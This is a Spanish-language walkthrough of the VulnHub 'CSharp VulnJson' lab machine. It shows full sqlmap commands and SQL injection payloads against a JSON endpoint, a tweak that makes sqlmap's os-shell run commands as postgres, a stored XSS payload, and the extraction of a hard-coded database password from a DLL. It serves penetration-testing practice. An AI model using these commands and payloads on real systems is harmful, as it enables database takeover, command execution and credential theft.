Buscando las vulnerabilidades SQLI y XSS
Analizamos la máquina:
https://www.vulnhub.com/entry/csharp-vulnjson,134/
En la descripción de la máquina ya se nos dice que es una aplicación web vulnerable a SQLI y a XSS.
Se pasa un nmap por si tuviese algo más pero vemos que tiene solo el puerto 80 abierto.
El comando nmap utilizado fue: sudo nmap -A -p 1-65534
1 2 3 4 5 6 7 |
Nmap scan report for 192.168.7.32 Host is up (0.017s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http |
Entramos a la página para echar un vistazo, a simple vista se ve un formulario de creación de usuarios, búsqueda y listado.
Se podría utilizar el scaner de Burp-suite directamente sobre la web para comprobar ciertas vulnerabilidades pero a mi me gusta primero echar un vistazo a mano con el plugin de Firefox Tamper data (https://addons.mozilla.org/en-US/firefox/addon/tamper-data/).
Observamos que al dar al botón List users hace una peticion json a Vulnerable.ashx.
Encontrando vulnerabilidades SLQI con sqlmap
Una vez en este punto, al saber que hay vulnerabilidades de SQL Injection en la aplicación podemos lanzar sqlmap para encontrarlas lo más fácilmente:
1 |
./sqlmap.py -u http://192.168.7.32/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 -s ./scan_report_pgsql.txt -t ./scan_trace_pgsql.txt --skip-urlencode |
El parámetro –data es la petición JSON. Donde se pone un * es donde sqlmap inyectará primero.
El parámetro ‘–skip-urlencode’ es necesario ya que sqlmap por defecto codifica las peticiones y la aplicación daría error al parsear el JSON. Los parametros -s y -t nos darán información adicional sobre las peticiones que está realizando sqlmap por si hay algún error, como veremos después.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: {"username":"' AND 9567=9567 AND 'tesv' LIKE 'tesv","method":"list"} Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: {"username":"' AND 4133=CAST((CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (4133=4133) THEN 1 ELSE 0 END))::text||CHR(113)||CHR(118)||CHR(98)||CHR(112)||CHR(113)) AS NUMERIC) AND 'ZUsI' LIKE 'ZUsI","method":"list"} Type: stacked queries Title: PostgreSQL > 8.1 stacked queries (comment) Payload: {"username":"';SELECT PG_SLEEP(5)--","method":"list"} Type: AND/OR time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: {"username":"' AND 1259=(SELECT 1259 FROM PG_SLEEP(5)) AND 'UCHb' LIKE 'UCHb","method":"list"} Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: {"username":"' UNION ALL SELECT (CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||CHR(85)||CHR(108)||CHR(102)||CHR(108)||CHR(115)||CHR(77)||CHR(77)||CHR(68)||CHR(109)||CHR(65)||CHR(104)||CHR(104)||CHR(107)||CHR(67)||CHR(110)||CHR(112)||CHR(77)||CHR(69)||CHR(70)||CHR(106)||CHR(74)||CHR(80)||CHR(106)||CHR(120)||CHR(119)||CHR(106)||CHR(111)||CHR(110)||CHR(72)||CHR(99)||CHR(84)||CHR(88)||CHR(87)||CHR(89)||CHR(83)||CHR(69)||CHR(73)||CHR(113)||CHR(105)||CHR(89))||(CHR(113)||CHR(118)||CHR(98)||CHR(112)||CHR(113))-- -","method":"list"} --- |
La magia de sqlmap ha encontrado varias injecciones. Podemos jugar conellas para obtener más información sobre el sistema o directamente
podemos intentar una shell con sqlmap.
Lanzamos el mismo comando que antes pero con –os-shell al final.
Lamentablemente vemos que sqlmap aparentemente no devuelve errores pero la shell no funciona.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
[10:32:28] [INFO] the local file '/tmp/sqlmapbtk2yJ16086/lib_postgresqludf_sysblzOr0.so' and the remote file '/tmp/libsxqfo.so' have the same size (8136 B) [10:32:28] [INFO] creating UDF 'sys_eval' from the binary UDF file [10:32:28] [INFO] creating UDF 'sys_exec' from the binary UDF file [10:32:29] [INFO] going to use injected sys_eval and sys_exec user-defined functions for operating system command execution [10:32:29] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER os-shell> id do you want to retrieve the command standard output? [Y/n/a] [10:32:33] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique No output os-shell> id do you want to retrieve the command standard output? [Y/n/a] No output os-shell> |
Buscando donde falla sqlmap
Se mira en el fichero scan_trace_pgsql.txt y encontramos que al crear las funciones sys_eval y sys_eval() y sys_exec() el servidor devuelve un error:
1 |
ERROR: XX000: incompatible library "/tmp/libsxqfo.so": version mismatch |
Buscamos la cadena VERSION en el mismo fichero scan_trace_pgsql.txt y encontramos que sqlmap hace la siguiente consulta:
1 |
{"username":"' UNION ALL SELECT (CHR(113)||CHR(98)||CHR(112)||CHR(112)||CHR(113))||SUBSTRING((VERSION())::text FROM 12 FOR 6)||(CHR(113)||CHR(118)||CHR(98)||CHR(112)||CHR(113))-- -","method":"list"} |
Y el servidor devuelve:
1 |
[{"username":"whatthebobby"},{"username":"qbppq9.3.9qvbpq"}] |
Es un postgres 9.3. Pero por alguna razón la librería que usa sqlmap para crear la funcion que nos permitiría ejecutar comandos de sistema es de otra versión y falla al crearla. Probamos copiando la librería de la versión 9.3 en todos los demaś directorios progresivamente hasta que llegamos a copiar en la 9.1 que si nos permite ejecutar comandos.
Se hace un backup de la librería para la 9.1.
1 |
~/sqlmapproject/sqlmap$ cp udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_.bak |
Se copia la libreria de la version 9.3 en la 9.1 que es la que realmente esta usando sqlmap.
1 |
~/sqlmapproject/sqlmap$ cp udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ udf/postgresql/linux/64/9.1/ |
Se tira de nuevo el os-shell y vemos que ya funciona la shell.
1 2 3 4 5 6 7 8 9 10 11 |
~/sqlmapproject/sqlmap$ ./sqlmap.py -u http://192.168.7.32/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v 1 --os=Linux --level=5 --risk=3 -s ./scan_report_pgsql.txt -t ./scan_trace_pgsql.txt --skip-urlencode --os-shell os-shell> id do you want to retrieve the command standard output? [Y/n/a] command standard output: 'uid=116(postgres) gid=125(postgres) groups=125(postgres),107(ssl-cert)' os-shell> |
Se ha intentado arreglar el código de fingerprint de postgres pero no se ha conseguido. Por alguna razón en este caso sqlmap siempre detecta la versión 9.1, aunque agreguemos el fingerprint en el fichero “plugins/dbms/postgresql/fingerprint.py”. Para detectar la version exacta de postgres, sqlmap ejecuta funciones que son nuevas en esa versión, desde la más nueva hasta la más antigua. Hemos probado a arregar la expresión boleana “ARRAY[1]=array_remove(ARRAY[1,2], 2)”, pero sqlmap sigue usando la lib de la 9.1. Incluso hemos probado a eliminar la parte que detecta la 9.1 de se fichero fingerprint.py y sqlmap sigue usando udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ para cerar las funciones sys_exec, etc. Se envió un e-mail a la lista de sqlmap y Miroslav lo arregló al momento. (gracias!)https://github.com/sqlmapproject/sqlmap/commit/f532ad3c9c82cecebcf444bb92689488a24bd32f.
Testeando XSS
Para testear XSS probamos a crear un usuario con algún javascript a ver si se lo traga.
En el campo usuario de nombre ponemos, por ejemplo, pero se traga muchos:
1 |
<h1 onload=alert(1)>holahola</h1> |
Vemos en el screenshot que ha saltado el alert(1) y también otras pruebas que se han hecho. Se puede insertar contenido html y javascript. Dependiendo del navegador y el payload usados se podria conseguir casi cualquier cosa.
Un excelente blog sobre xss http://brutelogic.com.br/blog/.
SE sigue investigando la aplicación mono. Con el content discover de burp suite encontramos el directorio /bin el cual permite listar su contenido:
Ejecutamos monodis desde la os-shell de sqlmap que hemos sacado para buscar strings interesantes, como la cadena password (el directorio de la web es el de por defecto en ubuntu):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
os-shell> monodis /var/www/html/bin/ch2_vulnerable_json_endpoint.dll |grep -i password do you want to retrieve the command standard output? [Y/n/a] command standard output: --- .field family class [System.Web]System.Web.UI.WebControls.TextBox txtPassword IL_0001: ldstr \"Server=127.0.0.1;Port=5432;User Id=postgres;Password=secret;Database=vulnerable_json;\" IL_00af: ldstr \"password\" IL_0198: ldstr \"Need a username and a password\" instance default bool CreateUser (string username, string password, string age, string line1, string line2, string city, string state, string zip, string first, string middle, string last) cil managed --- |
Ahí esta la cadena de conexión a la bd…
Hasta aquí lo dejamos. Hasta el próximo write-up!
Muchas gracias al creador de la máquina Brandon Perry.